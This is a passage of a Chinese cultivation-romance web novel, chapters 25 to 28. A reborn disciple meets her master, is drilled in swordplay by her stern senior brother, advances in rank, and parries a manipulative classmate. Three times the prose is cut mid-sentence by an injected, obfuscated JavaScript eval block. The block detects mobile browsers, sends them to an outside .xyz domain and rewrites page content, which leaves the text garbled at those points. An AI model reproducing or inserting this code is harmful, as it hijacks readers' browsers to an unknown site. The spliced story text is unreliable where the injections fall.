被她师兄提醒了一句“上前拜见师尊”,顿时浑身一激灵,着急忙慌地从师兄背后走出来,上前冲他行礼,连声音都不大有底气。 说完“弟子拜见师尊”后,一抬头,又露出一双眼眶发红如兔子的眼睛,像是哭过。 怪可怜见的。 诲元仙尊纳闷,抬手让人起来,又宽慰了一句“不必多礼,坐吧”。 随后用眼神示意孟喻辞:你训她了? 孟喻辞看了纪楚一眼,皱眉。 御剑飞行练成这狗爬模样,是个人都该羞愧难当,哪还用得着旁人训她? 更何况他该说什么?他能说什么? 自己的师妹御剑飞成这个样子,他也觉得丢人。 纪楚原本在寻摸地方落座,乍然被师兄看了一眼,顿时僵在原地不敢动了。 她在心里呐喊:我太难了! 这是她人生中飞的最痛苦的一段路,她已经尽了全力,甚至紧张得脑门冒汗。 可是落地的时候还是听见师兄冷呵一声,她心里那份侥幸顿时碎了一地。 师兄这样出了名的完美剑修,拿出这种垃圾水平到他面前,简直是自取其辱。 宗门有传言道:惹到长老们只会被骂,但惹到孟师兄…… 生、死、难、料。 虽然目前看来师兄可能没有传言这么恐怖,甚至比之前世待她温和不少,但她还是悔不当初。 是她一时间得意忘形,竟自投罗网,叫师兄瞅见她这拙劣的御剑水平不说,还敢自称“飞得还行”。 简直丢人丢到姥姥家。 纪楚心里绝望,老实巴交地站在座位旁边不敢坐。 孟喻辞看得无语,心想在他跟前犯傻也就罢了,怎的到了师尊面前还能发呆,于是催促了一句: “还不快坐。” 纪楚原本就心虚,此刻更是希望减少一下自己在师兄心里的负面形象,闻言立马“咚”得一声坐了下去。 令行禁止,看得诲元仙尊啧啧称奇。 25. 第 25 章 纪楚看向诲元仙尊。 这还是她第一次以弟子的身份拜见师尊。 上首仙人鹤发玉颜,面容沉肃,仙人气度令人望之敬仰,只是眉宇间萦着几分长期囿于琐事的疲惫,倒比前世惊鸿一瞥显得亲近许多。 半晌没人说话,纪楚提着的心也逐渐放松下来,悄悄问在她身边落座的师兄: “师兄,师尊怎么不说话,还看着这么累啊?” 诲元仙尊也在关注着纪楚,小小一团缩在座位上,仰着脸偷看他,一双圆溜溜的眼睛葡萄似的,甚是机灵可爱。 却也是个没什么心眼的,方才还怕孟喻辞怕的要死,这会儿就不自觉往师兄身边凑。 他看起来很累吗? 听见纪楚的话,诲元仙尊不动如山,实则在心里叹息。 果真是老了,面上的疲惫都藏不住了。 不过,他应该先开口说话吗? 这孟喻辞贸然将人带来,又把人训成委屈巴巴的样子,总不会是叫他来哄吧? 诲元仙尊目光转向孟喻辞,果然从他眼里看出了几分求助的意思。 他顿时失笑。 没想到素来冷淡自持的孟喻辞也有将人惹哭后找他求助的一天。 这可实在是稀罕。 诲元仙尊一想便知,应是结界反噬的事情叫纪楚知晓了。 他这大徒弟又是个“凶名远扬”的,只怕还没解释就将人吓得不轻。 罢了,难得这徒弟数百年来第一次有求于他,便帮他一次。 于是他开口道: “你们二人今日过来……” 孟喻辞忽然插话:“师尊。” 诲元仙尊一顿,改口道: “本尊宣你们二人今日过来,是有一桩事情要交代。” 纪楚等了半天不见师尊开口,还以为师兄骗她。没想到诲元仙尊竟真的有事交代给她,神情顿时严肃起来,目光灼灼地看向上首。 诲元仙尊对上小徒弟格外庄重的表情,立马觉得压力巨大。 他着实不太会哄孩子,毕竟孟喻辞从小到大都是个寡言冷酷的“小大人”,从来不需要人哄,宗门里其他弟子自然也不会让他去哄。 至于交代任务……他统共没见过纪楚几面,又是个玄境弟子,能有什么重要的任务交代给她? 可小徒弟现在如此期待的模样,他又不好随便扯个小事打发人,一时间竟有些骑虎难下的滋味。 都怪孟喻辞,突然闹这么一出。 诲元仙尊暗中用责怪的目光看了孟喻辞一眼,决定把这个球踢回去。于是说: “……让你师兄告诉你。” 孟喻辞:“……” 纪楚又把炯炯的目光转向他。 他对上她亮晶晶的眼睛,一时也觉得有些卡壳。 太难办的事不合适,会叫她压力过重; 太随便的事也不合适,会叫她失望,觉得自己被轻视。 最好是她本来就想做的,也可以顺道给她些支持。 顿了顿,孟喻辞淡定道: “此次问仙大会,你代表师尊和我的颜面,不可懈怠。” 纪楚闻言虎躯一震,没想到师尊如此关注问仙大会,而她前世郁郁寡欢连参加都没参加,想必很令师尊失望。 于是她立马斗志高昂起来,不止是为了见到神骨,更是为了师尊和师兄的颜面! 纪楚握拳保证: “我一定会取得好名次,绝不叫师尊和师兄失望!” 诲元仙尊闻言,很是欣慰地点了点头。 座下弟子能有如此上进之心,是个师父都会感到宽慰。 再加上纪楚本就长的玉雪可爱,他多年不收弟子,唯一一个亲自抚养长大的弟子还是个冷漠独立不近人情的,很难满足人扶养孩子、享受天伦之乐的乐趣。 乍然见着如此一个乖巧的小徒弟,难免生出几分慈父之心。 于是诲元仙尊略一抬指,纪楚面前的桌案上便多了一碟红盈盈的果子。 孟喻辞则对纪楚的话略有怀疑。 毕竟纪楚连御剑飞行都是那个稀烂水平,再看她修为,连玄境五阶都没有,多少弟子都盼着在问仙大会上一展身手,而她连一千分都是临时凑的。 不过,既然她有心想要取得好名次,他倒是可以教上一教,反正她的剑法也多次被徐长老告状,他早不想听了,索性上手管一管。 纪楚尚不知道师兄的打算,正一脸好奇地看向面前突然出现的果子。 山楂一样的红,色泽清润诱人,看着很像喂兔子的红灵果,但是个头大一些,颜色也更浅一些。 她拿起一个试着咬了一口,顿时吃了满口清甜。 果子内有清气,咽下去后,连同浑身经脉都跟着舒爽起来。 “这是盘盘果,里面有些清气,修真界的小孩子都爱吃。” 诲元仙尊看着她吃下一个,温和问道: “喜欢吗?” “喜欢喜欢!” 纪楚觉得这果子简直太好吃了,前后加起来两辈子,她从来没吃过这么好吃的果子,十分给面子地吃了大半碟盘盘果。 看得诲元仙尊更加欣慰。 这才是养孩子该有的场景啊! 他在心里叹道。 不像孟喻辞,餐风饮露就长大了,小孩子喜欢的东西他是一点不感兴趣。 自己一开始见他一个半大个孩子,孤孤单单不爱说话,一心只知道修行,怕他走了岔路,还试图用盘盘果哄他。 没想到对方非但一脸漠然,还用一副“师尊你怎么会喜欢这些东西”的狐疑表情望着他,淡淡婉拒: “零食于修行无益”。 他自讨了个没趣,之后也就熄了把孟喻辞当孩童的心思,和他以“同龄人”的模式相处。 如今见着纪楚,才终于又找回了点迟来的“温情”,一抬手,纪楚面前又多了许多盘盘果和零食。 “谢谢师尊!” 纪楚简直跟掉进米缸里的老鼠似的,在满桌子盘盘果和没见过的好吃的面前幸福地直眯眼睛。 然而她刚拿起两个果子,还没塞到嘴里,身边就伸来一只纤长有力的手,将她面前桌子上的东西悉数“收缴”。 纪楚跟着转头,正对上师兄饱含威严的目光,脸上的喜色一下子僵住。 赶在师兄开口前,她飞快将手上仅剩的两个果子塞进嘴里。 孟喻辞阻拦她不及,面色不虞,转头对师尊道: “她修行本就不专心,师尊怎可拿这些零食乱她心思?” 诲元仙尊:“……只是些许零食,你何必如此严苛……” 孟喻辞没想到师尊在他面前素来理智稳重,换作教导纪楚,竟变得如此“溺爱”弟子,于是出言指责道: “她经脉将将修复完备,诸多灵力尚未内化,骤然吞下盘盘果的清气,一时是会觉得清爽。 “我知晓师尊关怀弟子,有多少好东西都想赐下。可她年幼无知,难戒口腹之欲,不知轻重缓急,有多少吃多少……” 纪楚被他说的羞愧地低下了头。 无法反驳,她确实打算全都吃掉…… 孟喻辞继续道: “清气吞得太多,堆积体内难以吸收,只会让她经脉再度堵塞。” 说完,他一脸严肃: “师尊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111396|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然将师妹托付弟子,弟子便得为师妹负责。还请师尊莫要擅作主张。” 自认识孟喻辞以来,便是身为师尊,也从未见过他说这么长一段话,还是因为师妹的事,一下子把诲元仙尊镇住了。 诲元仙尊:“……” 纪楚:“……” 不要啊,师尊,你快管管师兄吧!你才是师尊啊!我要吃零食! 诲元仙尊知晓孟喻辞照顾纪楚比他更细致,而他确实太忙,许多细节顾不上,别不留神把孩子养死了,索性摆手: “罢了罢了,你看着便是……” “多谢师尊。” 孟喻辞满意,再度恢复了那个寡言少语、淡漠冷酷的剑君,转头看向纪楚,一脸的“你今日别想再吃到半口”的无情模样。 纪楚“痛失所爱”,倍感“前途渺茫”,绝望地趴到了桌子上。 * 不过这么一闹,纪楚心里的委屈和愤怒倒确实缓和了不少。 或许是师尊态度和善,师兄的关切不似作伪,又或许是她感受到了真正的“师门”该有的和谐氛围,令她有些舍不得这份“可以依靠和信任”的归属感。 ——前世的她一直想有的“归属感”。 因而回去的路上,她终于不再和师兄掰扯“熟不熟”的问题,转而欢快地边走边左顾右盼。 孟喻辞看了她一眼。 纪楚说什么都不肯再御剑,非得说“一起走路可以增进同门情谊”,孟喻辞便应了。 今日已把人吓得不轻,没必要再揪住不放。 纪楚像一只离笼的小鸟,一会儿飞到左边一会儿飞到右边,快乐的有点过了头。 孟喻辞跟在她身后走了一会儿,忽然开口问道: “你还生气吗?” 纪楚本想说“不生气”,但转念一想,如此轻易原谅师兄未免宽纵了他。 毕竟前世他不由分说就杀了她,这可是大仇! 但回头对上师兄淡然平和的神情,她又觉得自己这仇记得有点没意思。 师兄根本不知道自己杀过她呢。 思来想去,纪楚站定,冲师兄伸出手,道: “不生气可以,师兄把少微剑给我。” 孟喻辞垂眸,看见她十指纤纤,掌心粉白,十分干净漂亮的一双手,未染丝毫血迹。 他没问为什么,召出少微剑放在她摊开来的手掌上。 纪楚没想到他这么干脆,本命剑都能说给就给,于是又不放心地问了一遍: “师兄真舍得给我?” “没什么舍不得的。” 孟喻辞声音淡淡,垂下的眼睫轻颤,在眼下落下一小片阴影,似蝶翼轻拢,叫人看不出他的想法。 “少微剑意为隐,其实不适合你。” 他开口,语调缓而平和: “你若需要,日后,我会再为你寻把合适的。” 他的话让纪楚不自觉生出期待。 前世她经脉滞涩,注定无法成为一个好的剑修,自卑之下自欺欺人不肯学剑,从未有过适合自己的剑,沈恪更不会专门为她寻剑。 若是换作师兄的话……会为她寻来什么样的剑? 回过神来,看到师兄仍垂眸望着她,眼里是长久不变的专注和平静。 纪楚心思一动,低头看向自己手中的少微剑。 这把杀气凛厉、剑下亡魂无数的仙剑,这把前世杀了她的森寒冷剑,此刻遵循着主人的意愿,收敛了一切锋芒和锐气,乖巧似普通器物,安静地躺在她手中。 ——仿佛随时可以被毁去。 纪楚看着剑鞘沉默片刻,而后一手握住剑柄,果断拔剑出鞘。 26. 第 26 章 宝剑出鞘,寒光闪过,剑鸣铮然。 少微剑不负虚名,确实是一把举世无双的神兵利器。 银白剑刃薄而锋利,在阳光下泛着森然寒意,裹挟着寒风朔雪,令人见之生畏。 剑身上绘星图,银纹流光星罗棋布,太微垣西南方向,四星列南北。 剑名少微,其意为隐。 纪楚曾感受过被这把剑一剑穿心的滋味,又冷又痛,仿佛每一寸骨骼都要被冻结成冰。 此刻面对着少微剑,她的手不自觉颤抖,一瞬间仿佛又被拉到了前世死亡的那天。 师兄带着怒意的目光,还有魔王扭曲的面容,以及她在绝望中垂头,看到的染血的剑身,连剑身上流光暗转的星图都被她的血染红。 说不怕是假的。 但此刻,她握着少微剑,心中的痛和恨翻涌不休之时,师兄却正一无所知地立于她身前,垂眸静静望着她。 他不知她心中所想,不知她惨死之痛,更不知前世那些纷扰纠缠。 他坦坦荡荡,是她的师兄。 纪楚望着少微剑沉默许久,忽而一笑。 然后她将剑尖对准剑鞘,缓缓收剑入鞘。 从泛着寒意的剑尖,到冷而森然的剑身,再到银光流转的星图,包括那颗将自身隐于群星之间、锐气暗藏的少微星,一并收进不见天光的剑鞘中去。 连同她自己那些仅她一人可知的万千思绪。 纪楚收好剑,上下端详了一下,又攥起拳头,隔着剑鞘狠狠锤了几下。 剑自然是不会被她打疼的,反倒是冷硬的剑鞘把她的手砸得有点红。 纪楚一脸淡定,只当成功报复,抬手将剑还给孟喻辞,酷酷地说: “不要了,不喜欢。” 孟喻辞接过剑,感受到少微剑在剑鞘内轻微的颤动,是被主人送人后又被嫌弃退回的委屈。 纪楚还了剑便侧过身,悄悄对着自己手上被磕红的地方又吹又揉,以为他没看见,放弃了表情管理,整张脸皱成一团。 孟喻辞将她的小动作尽收眼里,心里生出几分浅浅的惊讶。 剑没什么心眼,跟着他便一味杀人,在纪楚手里转了一圈,这昔日削铁如泥千钧可抵的利刃,竟也染上了她娇气的毛病,开始朝他撒娇了。 这念头只如蜻蜓点水,在他心头一闪便消失了。 少微剑已经安静下来,纪楚也放下了手,圆溜溜的眼睛望着他,里面是些他看不懂的坚定。 “师兄,我们重新开始吧。” 她的态度太过认真,神情太过严肃,说出的话斩钉截铁,活像是在宣誓,引得孟喻辞微微抬眸,那双黑沉冷寂的眸子一颤,似水波轻摇。 纪楚:“……” 纪楚:“!” 纪楚:“不不不我不是这个意思!” 在师兄短暂的沉默后,纪楚率先意识到自己话里的歧义。 她的脸色一下子涨红起来,几乎是语无伦次地解释: “我是说以前那些不愉快啊恩情啊仇恨啊什么的,都过去了,我们重新当和睦相处的师兄妹……啊不是,虽然我们本来就是师兄妹,但是我其实是想说,我……” 头顶落下抚摸的重量,打断了她前言不搭后语的找补。 师兄摸了摸她的头发,在她看不清的角度,眼里逸出几分清浅的笑意,软化了那双长久冷寂的眸子,给他俊美精致到不近人情的五官也增添了一丝柔和。 “我知道。” 他轻轻道,语气很是宽容。 纪楚的心也跟着平静下来,感受着落在头上的触感,忍不住弯起眼睛,望着师兄的俊脸傻乐。 * 很快她就乐不出来了。 “过去两年你究竟逃了多少课,剑诀都背到狗肚子里去!” 早上还夸她“有天分”的师兄此刻态度大变,在听了她背诵的剑诀后,冷着脸斥道: “生死台上见你出剑毫无章法,还当你是自知不敌另辟蹊径,原来是根本一窍不通。难怪御剑飞成那般样子!” 纪楚被骂得缩成了一团,闻言下意识抬头,面带意外: “师兄怎么知道生死台?难道你那天也在?” 完了,那师兄岂不是看到了沈恪打她的一幕。 丢大人了…… 孟喻辞沉默几息,平息了一下情绪,并不提那些事,只道: “你才修行不久,便整日懈怠以致基础不牢,日后越往上走,只会漏洞越多,越难补救。” 纪楚忍不住狡辩: “一开始确实学不进去,但我后来有好好补了……” 师兄凉凉瞥她一眼。 纪楚立马低头说:“我错了。” 她如此听话,一副“悔不当初”模样,孟喻辞也不好再数落下去。 他将剑诀书籍合上,抬手一指院中空地。 纪楚大惊:“师兄要把我赶走吗?我回去后一定会好好背书的!师兄不要这么快就放弃我啊!” 孟喻辞原本只是随意考较,想探探她的基础,也好决定如何教她。 不料纪楚一问三不知,简直比新入门的弟子还要差劲。 如此耽误了许久时间,他再淡然的性子也已被她颠三倒四的回答气得头大。 更不知道自己在她心里到底是何等的形象,动辄便将他的言行朝“恶人”的方向理解。 他无奈道: “拿剑,练给我看。” “哦,哦……” 纪楚尬笑。 还以为师兄对她失望透顶,不打算给她补课了。 虽然她觉得这事委实不能全怪她,毕竟沈恪两世都只将她往乐修上培养,于其他课程上确实疏忽了些。 而她好久没有上课了,重生回来就算想补,一时半会儿也背不完全。 师兄抽查的猝不及防,连个复习时间都没有,她不露馅谁露馅。 但这些话她哪敢在师兄面前提,傻子都知道在师兄这种“严师”面前,老实认错、回去补上才是正道。 不过好在,剑招她可是好好努力过的,连徐长老都表示过赞许。 纪楚信心满满,自觉到了“擅长科目”。 只是由于早上“御剑飞行”的教训,她并不敢提前吹嘘自己,心里丝毫不敢大意,郑重地拔出自己的剑站到院子中央,看向师兄,等他下发考题。 孟喻辞道:“从第一式开始,会多少练多少。” 纪楚点点头,摆好姿势,出剑,剑风凌凌。 孟喻辞神色平静。 纪楚余光瞥见师兄神态,心下大定,侧身平刺,气势如虹。 孟喻辞微微蹙眉。 纪楚心里一咯噔,急忙换下一招,转刺为挑,气势稍减。 孟喻辞微微启唇: “纪楚……” 纪楚条件反射,“唰”得立正站直,认错认的毫不犹豫: “师兄我错了,我今晚回去既背剑诀又补剑招,绝不再混了。” 孟喻辞:“……” 他眼底带了点无奈: “练得还行,就是不够融洽,转换生硬,可见实战经验不足。” 纪楚原本做好了被痛骂一顿的准备,猛然听见师兄夸自己,还有点不敢相信。 孟喻辞已随意折了根桃枝,站到她面前,淡淡道: “出剑。” 纪楚:“?” 师兄这是要和她对练吗? 孟喻辞道:“你一人悟不知要到什么时候,我来和你对招。你把我当成木人桩,出剑即可。” 纪楚:“!” “和师兄打……” 她伸出一根手指指向自己,满脸不可思议: “我吗?” 虽说师兄从不在修炼上开玩笑,说要和她对招就是要和她对招。 但她心里仍有两点放心不下。 其一,这世上并没有师兄这样身材俊逸挺拔五官精致出尘气质清冷疏离的木人桩,她实在不知道怎么把师兄当做练武场上那种五官粗糙的“木头人”。 其二,以师兄化境巅峰的修为,就算拿的桃枝,她也打不过一点。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115178|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但孟喻辞态度坚决:“出剑。” 纪楚只得鼓起勇气,持剑朝他攻去。 孟喻辞立于原地,一动不动。 纪楚出剑前还犹犹豫豫扭扭捏捏,动手时却已神情严肃,只想打赢师兄。 孟喻辞神色淡淡,看着纪楚攻来的方向,手腕微转,普通桃枝在他手中顿时成了锐不可挡的神兵利器,轻易挡下纪楚一剑。 纪楚剑刃与桃枝相撞,非但没有斩落桃枝,反而被打得一颤,握剑的手腕亦觉发麻。 枝上花苞簌簌抖动,将落不落。 下一刻,桃枝斜向上挑,凌冽剑风气势逼人。 纪楚一惊,急忙回身躲避,桃枝却已敲在她肩头。 重重一下毫不留情,纪楚双目顿时涌出泪花。 师兄清冷的声音传来: “变招太慢,重来。” 纪楚咬着唇站定,神色已凝重许多,持剑再攻。 …… 孟喻辞剑招凌厉果决,一看便是杀人之剑,凡出剑必不落空,招招冲人命门,偏又叫人避无可避,只能被迫直面这包含杀机的剑锋。 哪怕换了花枝,仍不减其势,压迫感十足。 纪楚与师兄迎面而立,无需动手便感到害怕,于是忍不住感慨自己前世“趁师兄之危”,撞了大运才能将师兄困住。 打也打不过,躲又躲不开。 片刻后,她“啊”得一声,又捂着被敲中的小臂连连吸气。 “分明能挡住,为什么要躲?” 师兄的声音冷的像冰,听不出丝毫心软: “用剑者最忌心生怯意,先落下乘。” “再来。” 纪楚:“……” 她好想逃,却逃不掉,只得硬着头皮举剑。 …… “啪”,花枝打中左臂。 “再来。” …… “啪啪”两下,右肘和后腰连击。 “再来。” …… 连续“被打”数不清多少次后,纪楚彻底撑不住了。 她眼泪汪汪坐在地上,胳膊也疼肩膀也疼,浑身哪哪都疼,连大腿也被敲了一下。 但她只有两只手,都不知道该捂哪里。 师兄的声音从头顶传来,原本清冷有如天籁的嗓音,此刻在她听来简直是“魔鬼的呼唤”。 “坐在地上像什么样子?起来。” 纪楚把剑扔到地上,两手抱头一阵狂摇: “不来了不来了,我要被师兄打死了!” 那桃枝看着细细一条,上面还带着好看的花苞,移动间香气扑鼻。谁知道打人时能这么疼!硬的像石头冷得像冰块,和师兄本人一样可怕。 她决定从现在开始最讨厌桃树和桃花! “我只用了一成力,如何能打死你?” 孟喻辞被她这副无赖样气笑,自觉带孩子使人变老,连他也忍不住多了絮叨的毛病: “哪个剑修不是一路磕绊受伤过来的,你这般遇到点困难就耍无赖,如何能练好剑术?” 纪楚却说什么都不肯再起来,一副“大不了我就坐着让师兄打死还更轻松”的架势。 孟喻辞拿她没办法,又念及第一天教学不好将人逼太紧,只好收了桃枝,道: “罢了,明日……” 他这边刚一松口,那头纪楚已猴子似的蹦了起来,头也不回地朝外跑去,边跑边大喊: “谢谢师兄我明天再来补课——” 她跑出院子的背影颇有些落荒而逃的意味,看得孟喻辞又是一阵摇头。 人一走,他这院子便空了下来,只余桌边一束桃枝探出半身,其上花苞仍在,隐约透出娇嫩的粉,甜香满盈。 似春意盎然。 孟喻辞看着这花,不禁又想到纪楚在这院子里上蹿下跳的模样。 吵闹,但也生动。 他眼睫微垂,不自觉弯起眉眼,容色惊人。 心里却道: 下次,可不会再叫她这般撒泼打滚地蒙混过去了。 27. 第 27 章 纪楚深知耍赖这技巧用多了就不管用,况且师兄虽然下手无情,却也是个极难求得的“良师”。 她虽然被桃枝锤了一通,剑法却当真进步非凡。 变强,谁不喜欢呢? 想到这些,纪楚索性直接不睡了,爬起来边背剑诀边练剑。 练着练着,纪楚忽然觉得自己体内有一大股一直静止不动的灵力缓缓流转开来,顺着灵脉转了一圈,最终被丹田吸收。 她惊奇地按了按自己的丹田,明显感觉到指间所触温热舒畅,甚至浑身都有种说不出的舒服,像泡在温水中央。 她似乎……要升阶了! 纪楚这才明白了师兄非要亲自陪她练剑的深意。 她体内堆积了太多灵力无法克化,所以借练剑之机,既能锻炼她的剑招,又能引她紧张之下不自觉运转灵力,反倒比平时效率更高。 纪楚心情大好,在心里对师兄好一番感恩戴德之后,立马入定修行求突破。 一夜间竟连冲三阶,直接冲上了玄境六阶。 玄臻化境各分十阶,其中每三阶为一坎,满九成一劫。 每升一阶,难度便会成指数倍增一次。 而她已经在玄境三阶卡了许久,竟然猝不及防地又升了三阶,足足过了一整道坎! 不可谓之不震撼! 这是纪楚两辈子里第一次升阶这么顺畅,是她两世人生的重大突破。 她恨不得抓着师兄转几个圈,又怕师兄把她当成傻子推出门去,只得按下心里的激动,爬起来先去上徐长老的剑法课。 * 薛羡尘一见纪楚便主动上前。 他今日又换了身衣裳,不再是大红大紫,反而是种极为素雅的白。 领口处布料有些透,隐约透出些许交错伤痕。 袖子挽起,露出一截白玉似的小臂,上面一道斜着的伤痕格外显眼,边缘已有些发青发紫,可见昨日纪楚下手时毫不留情。 不知怎的,纪楚总觉得这衣裳有点眼熟,似乎和师兄昨日打扮有些相似。 薛羡尘像是毫无察觉,还主动问她: “阿楚,你瞧我穿白好不好看?” 纪楚:“难看。” 听见她的话,薛羡尘脸色先是一冷,而后不知想起什么,反而笑了起来,柔声道: “我也觉得白色不好,太冷清了。” 他上前一步,凑近纪楚耳朵: “你瞧,连阿楚在我身上留下的痕迹都挡不住。” 少年温热的气息猝不及防打在她耳畔。 纪楚:“……!” 她猛地一哆嗦,反手一掌拍在他脸上,后退两步拉开距离: “你少胡说八道!” 这一掌不为打人,纯纯是本能反应,只为将他的脸推开。 薛羡尘被她大力之下推得脸都有些变形,身形晃了两下,站定,轻抚被她触碰过的地方,目光有些飘忽,似在回味脸颊被她掌心挤压的触感。 他变态一样的神情看得纪楚想去洗手。 而后薛羡尘勾了勾唇,颇有些玩味地瞧着她: “还未恭喜阿楚,终于升阶了。” 少年容色夺目,白皙的脸上红了一团,似霞云映月,引得不少弟子侧目。 他实在长了一副好皮相,人畜无害的模样配上身上显眼的伤痕,足以骗得所有人团团转。 这几天下来,大家早已习惯了薛羡尘和纪楚凑在一起的样子,先前那些龃龉也成了少年少女间不足为外人道的“情感纠纷”。 纪楚的“趁机报复”也衬得薛羡尘更加“专情”。 她始终不理解。 前世她懵懂无知,被薛羡尘外表蒙蔽,从未对他恶言相向,他却极为厌恶她,屡屡算计,恨不得掐死她。 如今自己懒得伪装,动辄打骂,薛羡尘反而成了牛皮糖,硬要凑过来找打找骂。 甚至自己打他,他还笑的更加开心。 难道他真是变态? 纪楚思索间,薛羡尘的声音清晰的传到了每一个人的耳朵里: “阿楚若是恼我穿白遮不住这些伤痕,明日我便换回深色可好?” 四面八方的目光瞬间变得古怪起来。 纪楚顿时生出一股粘了牛皮糖甩不掉的烦躁厌恶之感。 这薛羡尘不知道是怎么了,硬要往她身边凑,害的大家都以为他们关系极好。 连许盈都暗中问她,是否看上了那姓薛的? 还大方表示,虽然他们有些旧怨,但看在薛羡尘皮相尚好的份上,倘若纪楚当真喜欢,可以将人拉来一起聚餐。 天地良心! 纪楚恨不得将薛羡尘扒皮抽筋,怎么可能看得上他! 但连许盈都如此作想,纪楚心里不免有些不安。 对方目的尚且不明,她只能告诫许盈: 一定要离薛羡尘远一点,他不是什么好东西。 不知道许盈听没听进去,反正纪楚觉得薛羡尘一定在谋划些什么。 因着被薛羡尘用“伤痕”坑了一把,纪楚生怕自己无意间又踩了什么坑,于是不接薛羡尘的话,只当“没听见听不懂”,顶着其他弟子八卦的目光走远,一个人躲到角落练剑。 薛羡尘倒没有再跟来了。 只是下课离开前,他又看了她一眼,颇有些说不上来的意味,像是前世被她打断融合神骨时的目光,看得纪楚后背发凉。 * 因着薛羡尘的眼神,纪楚一整日都有些心神不宁,只在师兄夸她升阶的时候开心了一小下。 因而在师兄提问她剑诀的时候,磕磕绊绊背串了好几个。 孟喻辞的脸沉了下来。 空气好像凉了几分,纪楚一个激灵回过神来,忙道: “师兄我错了。” 她这话说的太顺口,简直像是呼吸一样习以为常,一看便不走心。 孟喻辞却并未说什么,又提问了一个新的。 纪楚:“……” 可恶啊这个昨天好像刚背过怎么今天一张嘴就忘了! 她抓耳挠腮半天也没想出来,恨不能眼珠子拐弯再去书上偷看一眼。 孟喻辞也没再提问下一个,只静静望着她,给足她回忆的时间。 可怕的安静。 纪楚挣扎许久,终究是绝望放弃: “我忘了。” 孟喻辞颔首,对这个结果表示“早有准备”。 “若是无心修行,便不必继续了。” 他将书合上,说完这句话后起身离开,留给她一个无情的背影。 纪楚:“啊?” 她还等着师兄“疾风骤雨”的责骂,谁知他就这么“善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123825|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解人意”地放过她了? 这简直比直接打她一顿还难受啊! 纪楚坐立难安。 眼看师兄走的决绝,显然是被她接二连三的走神气到,不打算再继续“辅导”她了。 纪楚在原地抓耳挠腮了一会儿,垂头丧气地走了。 当晚她就发奋图强,怒背整本剑诀,力争一个字都不会错,再不叫师兄抽查出她的纰漏。 第二日照常来找师兄。 孟喻辞一眼便看到她眼下乌青,微微蹙眉: “怎么回事?” 纪楚摩拳擦掌,满脑子都是争回场子,并不想在别的事情上浪费时间,于是催促他: “什么事都没有。师兄,你今天随便提问,错一个字算我输!” 孟喻辞于是收回视线,问了几个问题。 纪楚的努力没有白费,果然回答流畅,一个字都没有错。 她神色得意极了,微微抬着下巴,用乌青的下眼眶瞅他,一脸的等待夸夸。 孟喻辞道:“不错。” 纪楚闻言振臂高呼:“好耶!” 回头见师兄仍看着她,她又立马收回两臂,压了下过分上扬的嘴角,矜持道: “还行吧,我就随便背了背,正常发挥。” 孟喻辞失笑。 纪楚又冲他伸出手,眨巴着眼睛一脸期待: “师兄,我没有奖励吗?” 他本想说“没有”。 哪有背几句剑诀就来讨赏的? 但纪楚眼巴巴瞧着他,两手朝上,十指微屈,掌心粉白,仰头看他时,双眸亮如星子,几乎要晃花人的眼睛。 拒绝的话停在嘴边,他看了她几眼,想了想,虚虚握住她纤细的手腕,拿出一个红彤彤的果子放在她摊开的手掌上。 掌心一沉。 纪楚“欸”了一声,发现手上立着一个饱满圆润的盘盘果,顿时双目放光。 她仰起脸看向他,一脸期待地追问: “就一个吗?” 孟喻辞板着脸: “不吃给我。” “一个就一个!我当然吃!” 纪楚脸色一变,果断抽回手,像是怕他反悔一般,两手捧着果子咬了一大口。 孟喻辞手上一空,指腹仍留着她手腕细嫩光滑的触感。 他抬眸看向纪楚,她正专心致志嚼着嘴里的果子。 看着她垂头吃果子的动作,孟喻辞忽然就想起了青极峰的兔子。 那些被纪楚喂的圆嘟嘟的兔子,也是像她这样,捧着个红彤彤的果子,努着三瓣嘴吃的又专注又虔诚。 有那么好吃吗? 他不禁在心里想。 分明丹药上的清气更足。 还是说小孩子都更喜欢零食一些? 孟喻辞细细思索着,暗中查了查储物袋,看到里面装着那天他从师尊那里“收缴”来的满满当当的零食,又拿了一个盘盘果出来。 纪楚已经将先前那个盘盘果吃完了,虽然已经足够“虔诚”,但仍懊悔自己吃的太快。 此刻看见师兄手中的果子,顿时激动起来,心道师兄果然是个好人,迫不及待问道: “这也是给我的吗?” 见她如此期待,孟喻辞却将果子从她面前移开,说了句: “先练剑。” 28. 第 28 章 在盘盘果的诱惑下,纪楚练剑的效率极高。 加上升阶后灵力运转更为顺畅自如的功效,一套剑招被她舞得激情澎湃,比之昨天进步了不是一点半点。 虽然孟喻辞觉得她的激情大概率都在他手里这个盘盘果上。 